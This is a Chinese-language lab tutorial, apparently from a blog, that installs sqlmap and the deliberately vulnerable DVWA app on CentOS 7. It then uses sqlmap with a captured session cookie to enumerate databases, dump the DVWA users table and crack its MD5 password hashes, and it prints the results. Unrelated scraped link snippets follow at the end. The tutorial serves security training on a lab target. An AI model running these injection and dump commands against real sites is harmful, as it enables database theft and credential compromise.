安装SQLmap: IP:192.168.94.11

渗透测试演练系统DVWA: IP:192.168.94.111

通过SQLmap检测SQL注入漏洞 :

1.安装SQLmap漏洞查看工具

2.安装渗透测试演练系统DVWA

3.使用SQLmap进行sql注入并获得后台管理员adnim帐号和密码

sql注入概述:

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令

它是利用现有应用程序,可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库

比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击

比如 :12306.cn  帐号和密码泄露

 

什么是SQLmap?

SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)

官方网站下载 : http://sqlmap.org/

安装sqlmap 

# 首先安装python
[root@sqlmap ~]# yum -y install python
[root@sqlmap ~]# python -V
Python 2.7. # sqlmap 的安装比较简单,把源码下载下来然后上传到linux
[root@sqlmap ~]# unzip master.zip -d /usr/local/sqlmap
[root@sqlmap ~]# cd /usr/local/sqlmap/
[root@sqlmap sqlmap]# ls
doc lib plugins README.md sqlmapapi.py sqlmap.py thirdparty udf waf
extra LICENSE procs shell sqlmap.conf tamper txt vim-master xml
[root@sqlmap sqlmap]# ./sqlmap.py
# 设置环境变量
[root@sqlmap sqlmap]# vim /etc/profile
alias sqlmap='python /usr/local/sqlmap/sqlmap.py'
[root@sqlmap sqlmap]# source /etc/profile

DVWA (Dam Vulnerable Web Application)DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞

官方网站:链接地址:http://www.dvwa.co.uk   网站是英国的 ,有时候访问外国的网站可能会打不开

安装渗透测试演练系统DVWA

快速部署DVWA渗透测试环境 , 搭建一个安全系数较低的网站

[root@dvwa ~]# yum install -y httpd mysql-server mysql php php-mysql php-gd
[root@dvwa ~]# systemctl start httpd
[root@dvwa ~]# systemctl start mariadb

php-gd库:gd库是php处理图形的扩展库,gd库提供了一系列用来处理图片的API,使用GD库可以处理图片,或者生成图片。 在网站上GD库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表及验证码

测试LAMP环境

[root@dvwa ~]# vim /var/www/html/.php
<?php phpinfo(); ?>

配置mysql数据root用户密码

[root@dvwa ~]# mysqladmin -u root password ""
[root@dvwa ~]# mysql -u root -p123456
# 将下载的dvwa渗透系统代码上传到Linux上 ,并解压到网页根目录下
[root@dvwa ~]# unzip DVWA-master.zip -d /var/www/html/
[root@dvwa ~]# ls /var/www/html/
.php DVWA-master
[root@dvwa ~]# chown -R apache.apache /var/www/html/DVWA-master/
# 编辑/dvwa/config/config.inc.php , 配置数据库信息 ,user和password是MySQL的用户名和密码
# cp配置文件模板
[root@dvwa ~]# cp /var/www/html/DVWA-master/config/config.inc.php{.dist,}
[root@dvwa ~]# vim /var/www/html/DVWA-master/config/config.inc.php
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'root';
$_DVWA[ 'db_password' ] = ''; # 修改为mysql的root密码

部署DVWA网站系统

在浏览器中输入:http://192.168.94.111/DVWA-master/setup.php

解决环境问题 

[root@dvwa ~]# vim /etc/php.ini
# allow_url_include = Off 把Off改为On
[root@dvwa ~]# systemctl restart httpd

刷新页面

reCAPTCHA概述:

CMU设计了一个名叫reCAPTCHA的强大系统,让他们的电脑去向人类求助。具体做法是:将OCR软件无法识别的文字扫描图传给世界各大网站,用以替换原来的验证码图片;那些网站的用户在正确识别出这些文字之后,其答案便会被传回CMU

CAPTCHA:验证码

哪怎么获取验证码呢?

[root@dvwa ~]# vim /var/www/html/DVWA-master/config/config.inc.php
# You'll need to generate your own keys at: https://www.google.com/recaptcha/admin/create # 需要去 https://www.google.com/recaptcha 注册
$_DVWA[ 'recaptcha_public_key' ] = '';
$_DVWA[ 'recaptcha_private_key' ] = '';

recaptcha 的首页

[root@dvwa ~]# vim /var/www/html/DVWA-master/config/config.inc.php

$_DVWA[ 'recaptcha_public_key' ]  = '6LdDSWgUAAAAAH8te4z-0PhAD0AobWyGzBJUBOle';
$_DVWA[ 'recaptcha_private_key' ] = '6LdDSWgUAAAAABd7U8XHHSYuB5LnSfnpZ7B90jaW';
[root@dvwa ~]# systemctl restart httpd

刷新浏览器

后期登录:

http://192.168.94.111/DVWA-master/login.php

dvwa的登录界面的默认用户名和密码为admin和password

到这DVMA就部署完了

接下来就开始SQL注入了

SQLmap探测sql注入漏洞 :

1.枚举登录MYSQL数据的用户名与密码

2.枚举所有数据库

3.枚举指定数据库的数据表

4.枚举指定数据表中的所有用户名与密码

语法:SQLmap命令选项被归类为目标(Target)选项、请求(Request)选项、优化、注入、检测、技巧(Techniques)、指纹、枚举等

 

使用SQLmap之前我们得到需要当前会话cookies等信息,用来在渗透过程中维持连接状态,这里使用Firefox中名为“TamperData”的插件获取

Tamper Data是一个用于跟踪和修改http/https请求和POST参数的扩展

为方便演示,我们将DVWA安全等级设置为low

输入账号密码登录

可以抓到当前会话的cookie及提及表单的用户admin和密码password 

找到sql注入点

接下来以火狐浏览器登录:http://192.168.1.63/DVWA-1.9/index.php

进入页面的“SQL Injection”部分,输入任意值并提交。可以看到get请求的ID参数如下:

 http://192.168.94.111/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#

这里有提交sql语句的地方,所以就是我们的一个sql注入点 , 因此该页面就是我们的目标页面

获取当前页面的cookie信息 :

cookie的值抓到了

接下来该轮到SQLmap登场了

[root@sqlmap ~]# sqlmap -u "http://192.168.94.111/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low; PHPSESSID=36khgjg1m9mdr2qm0uk0st9960' -b --current-db  --current-user

使用选项:

1、--cookie : 设置我们的cookie值“将DVWA安全等级从high设置为low”

2、-u : 指定目标URL,syql注入点

3、-b : 获取DBMS banner (DBMS:Database Management System    数据库管理系统)

4、--current-db : 获取当前数据库

5、--current-user :获取当前用户

中间会遇到几个选项,一路选择y就可以了

结果如下 :

1.使用命令用来枚举所有登录msyql数据库的用户名和密码hash值,后期可以对密码hash进行破解,生成明文密码

2.枚举系统中所有的数据库名

3.枚举dvwa数据表

4.获取dvwa库中users表的所有列名字

5.提取user表中的用户名与密码等信息。将用户与密码表中的所有用户名与密码dump出来

cookie 和 sql注入点永远不变 

1  :

[root@sqlmap ~]# sqlmap -u "http://192.168.94.111/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low; PHPSESSID=36khgjg1m9mdr2qm0uk0st9960' --string="Surname" --users --password

使用选项:

1、--string : 当查询可用时用来匹配页面中的字符串

2、--users : 枚举DBMS用户

3、--password : 枚举DBMS用户密码hash

一路小y加回车就行

因为密码太简单 , 所以被秒解

到现在为止我们已经知道,当前数据库是mariadb 5.5.56, 登录mysql的root密码为:123456

2 :

[root@sqlmap ~]# sqlmap -u "http://192.168.94.111/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low; PHPSESSID=36khgjg1m9mdr2qm0uk0st9960' --dbs

使用选项:

--dbs: 枚举DBMS中的所有数据库

3 :

[root@sqlmap ~]# sqlmap -u "http://192.168.94.111/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low; PHPSESSID=36khgjg1m9mdr2qm0uk0st9960' -D dvwa --tables

使用选项:

1、-D : 要枚举的DBMS数据库

2、--tables     : 枚举DBMS数据库中的数据表

4 :

[root@sqlmap ~]# sqlmap -u "http://192.168.94.111/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low; PHPSESSID=36khgjg1m9mdr2qm0uk0st9960' D dvwa -T users --columns

使用选项:

-T : 要枚举的DBMS数据库表

--columns : 枚举DBMS数据库表中的所有列

拖库 :

提取user表中的用户名与密码等信息。将用户与密码表中的所有用户名与密码dump出来

[root@sqlmap ~]# sqlmap -u "http://192.168.94.111/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low; PHPSESSID=36khgjg1m9mdr2qm0uk0st9960'  -D dvwa -T users -C user,password --dump

使用选项:

-T : 要枚举的DBMS数据表

-C: 要枚举的DBMS数据表中的列

--dump : 转储DBMS数据表项

SQLmap会提问是否破解密码,按回车确认

尽管我们用的数据库中密码是经过md5加密的,但是sqlmap可以导出sql数据,帮你解析成明文密码

查看导出的数据 :

[root@sqlmap ~]# cat /root/.sqlmap/output/192.168.94.111/dump/dvwa/users.csv
user,password
,8d3533d75ae2c3966d7e0d4fcc69216b (charley)
admin,5f4dcc3b5aa765d61d8327deb882cf99 (password)
gordonb,e99a18c428cb38d5f260853678922e03 (abc123)
pablo,0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)
smithy,5f4dcc3b5aa765d61d8327deb882cf99 (password)

到这我们就利用SQLmap渗透到一个有漏洞的网站 , 并获得了后台管理员admin的账号和密码  

CentOS 7 通过SQLmap进行SQL注入的更多相关文章

  1. 结合sqlmap进行sql注入过程

    结合sqlmap进行sql注入:(-r后面是通过burp suite抓出来的请求包:-p后面是注入点,即该请求里携带的某个参数) Get请求的注入: ./sqlmap.py -r rss_test.t ...

  2. sqlmap查找SQL注入漏洞入门

    1.安装sqlmap sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞.注意:sqlmap只是用来检测和利用sql注入点的,使用前请先使用扫描工具扫出sql注入点 ...

  3. sqlmap检测sql注入漏洞

    sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞.它由python语言开发而成,因此运行需要安装python环境. 官网:http://sqlmap.org/ 乌 ...

  4. 使用sqlmap执行SQL注入攻击

    sqlmap是开源的SQL注入自动攻击工具,它可以自动的探测SQL注入点并且进一步控制网站的数据库. Kali Linux默认安装了这个工具. 找到潜在的攻击目标 第一步是找到有SQL注入漏洞的网站. ...

  5. kali之使用sqlmap进行sql注入

    sqlmap简介 sqlmap支持五种不同的注入模式: 1.基于布尔的盲注,即可以根据返回页面判断条件真假的注入. 2.基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是 ...

  6. Burosuite抓包Sqlmap学习Sql注入

    在sqlmap中加入--proyxy参数: --proxy "http://127.0.0.1:8080" 如下图所示: 回车以后sqlmap会自动抓到数据包: 我们选择向前(fo ...

  7. 使用SQLMAP对网站和数据库进行SQL注入攻击

    from:http://www.blackmoreops.com/2014/05/07/use-sqlmap-sql-injection-hack-website-database/ 0x00 背景介 ...

  8. Kali Linux Web 渗透测试视频教程—第十一课-扫描、sql注入、上传绕过

    Kali Linux Web 渗透测试视频教程—第十一课-扫描.sql注入.上传绕过 文/玄魂 原文链接:http://www.xuanhun521.com/Blog/2014/10/25/kali- ...

  9. 宽字节SQL注入

    1.联想lelink站 例1, 联想lelink站user参数存在宽字节SQL注入 提交,user=wctest%df’ and 1=2%23 结果,出现了”運”字,如图:

随机推荐

  1. flask wigs 服务器

    Nginx:Hey,WSGI,我刚收到了一个请求,我需要你作些准备,然后由Flask来处理这个请求. WSGI:OK,Nginx.我会设置好环境变量,然后将这个请求传递给Flask处理. Flask: ...

  2. Ubuntu系统监控indicator-sysmonitor

    参考: http://www.cnblogs.com/EasonJim/p/7130171.html 安装indicator-sysmonitor sudo add-apt-repository pp ...

  3. 库存秒杀问题-redis解决方案- 接口限流

    <?php/** * Created by PhpStorm. * redis 销量超卖秒杀解决方案 * redis 文档:http://doc.redisfans.com/ * ab -n 1 ...

  4. Tomcat启动报错:This file is needed to run this program

    Tomcat版本为 8.5.29. 1.情景 kill调用tomcat进程后,重启tomcat报如下错误: Cannot find /usr/local/apache-tomcat-/bin/setc ...

  5. k8s(3)-Pods和Nodes的概念

    Pod是什么? 在前面创建部署时,Kubernetes创建了一个Pod来托管您的应用程序实例.Pod是一个Kubernetes抽象,表示一组一个或多个应用程序容器(如Docker或rkt),以及这些容 ...

  6. Web容器初始化过程

    一.SpringMVC启动过程 Spring的MVC是基于Servlet功能实现的,每个web工程中都有一个web.xml文件,web容器在启动的时候会加载这个配置文件,当一个web应用加载到web容 ...

  7. Phoenix 5.0 hbase 2.0 org.apache.hadoop.security.authentication.util.KerberosUtil.hasKerberosKeyTab

    <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://mave ...

  8. poj 2074

    哎怎么说,感觉现在处理平面上点线的题已经比较熟练了. 这题就离散化然后搞个前缀和就没了. 准备开始进一步的自闭了. 下面是disguss的一些样例... 其实是我自己写错了个地方,本来能1A的. #i ...

  9. codeforces 1106 E

    显然是dp啊,dp[i][j]表示到时间i打扰了j次的最小收益 显然要排序,官方题解说set没看懂,优先队列就行啊. 按照时间排序,显然这样扫的话可以保证当前时间点的点在优先队列里吧, 然后有打断和不 ...

  10. 【1】public

    [面向对象] 李坤是不是人?(人类) 飞飞是不是人?(人类) 扎心是不是人?(人类) 是:特指某一个事物 属于:同一的类型 什么是对象: 就是特指的某一个东西,万物皆对象 什么是类: 具有一批相同属性 ...